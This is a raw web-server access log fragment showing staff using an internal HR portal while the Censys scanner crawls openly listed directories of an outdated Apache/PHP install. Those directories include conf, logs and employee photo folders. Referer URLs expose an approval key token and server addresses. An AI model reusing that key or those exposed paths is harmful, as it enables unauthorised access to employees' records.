rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [03/Dec/2025:15:04:22 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:15:04:22 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:15:04:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:15:04:23 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [03/Dec/2025:15:04:23 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [03/Dec/2025:15:04:24 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:24 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:15:04:27 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:27 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:15:04:28 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:28 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [03/Dec/2025:15:04:28 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:28 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:15:04:28 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:28 +0800] "GET /eHR HTTP/1.1" 301 239 100.64.0.1 - - [03/Dec/2025:15:04:29 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:29 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:15:04:29 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:29 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [03/Dec/2025:15:04:29 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:29 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [03/Dec/2025:15:04:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [03/Dec/2025:15:04:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [03/Dec/2025:15:04:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 100.64.0.1 - - [03/Dec/2025:15:04:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [03/Dec/2025:15:04:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 100.64.0.1 - - [03/Dec/2025:15:04:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [03/Dec/2025:15:04:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 100.64.0.1 - - [03/Dec/2025:15:04:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [03/Dec/2025:15:04:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 100.64.0.1 - - [03/Dec/2025:15:04:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [03/Dec/2025:15:04:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 100.64.0.1 - - [03/Dec/2025:15:04:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [03/Dec/2025:15:04:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 100.64.0.1 - - [03/Dec/2025:15:04:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [03/Dec/2025:15:04:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 286 100.64.0.1 - - [03/Dec/2025:15:04:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin/iconv" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 100.64.0.1 - - [03/Dec/2025:15:04:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 100.64.0.1 - - [03/Dec/2025:15:04:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [03/Dec/2025:15:04:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 100.64.0.1 - - [03/Dec/2025:15:04:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [03/Dec/2025:15:04:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 288 100.64.0.1 - - [03/Dec/2025:15:04:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons/small" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 100.64.0.1 - - [03/Dec/2025:15:04:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 100.64.0.1 - - [03/Dec/2025:15:04:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [03/Dec/2025:15:04:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [03/Dec/2025:15:04:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [03/Dec/2025:15:04:45 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:45 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [03/Dec/2025:15:04:45 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [03/Dec/2025:15:04:45 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:46 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [03/Dec/2025:15:04:46 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:46 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [03/Dec/2025:15:04:46 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:04:58 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:15:04:58 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:15:05:00 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:00 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:15:05:13 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:13 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:15:05:15 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:15 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [03/Dec/2025:15:05:15 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:15 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:15:05:16 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:16 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [03/Dec/2025:15:05:18 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:18 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:15:05:20 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:20 +0800] "GET /idcard HTTP/1.1" 301 242 192.168.40.34 - - [03/Dec/2025:15:05:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [03/Dec/2025:15:05:21 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:21 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:15:05:23 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:23 +0800] "GET /eHR HTTP/1.1" 301 239 192.168.40.34 - - [03/Dec/2025:15:05:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 100.64.0.1 - - [03/Dec/2025:15:05:24 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:24 +0800] "GET /eHR/ HTTP/1.1" 200 649 192.168.40.34 - - [03/Dec/2025:15:05:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 100.64.0.1 - - [03/Dec/2025:15:05:26 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:26 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [03/Dec/2025:15:05:27 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:27 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 192.168.40.34 - - [03/Dec/2025:15:05:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 100.64.0.1 - - [03/Dec/2025:15:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [03/Dec/2025:15:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [03/Dec/2025:15:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 100.64.0.1 - - [03/Dec/2025:15:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [03/Dec/2025:15:05:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 192.168.40.34 - - [03/Dec/2025:15:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16082 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16082 100.64.0.1 - - [03/Dec/2025:15:05:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:15:05:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 192.168.40.34 - - [03/Dec/2025:15:05:35 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:35 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:35 +0800] "GET 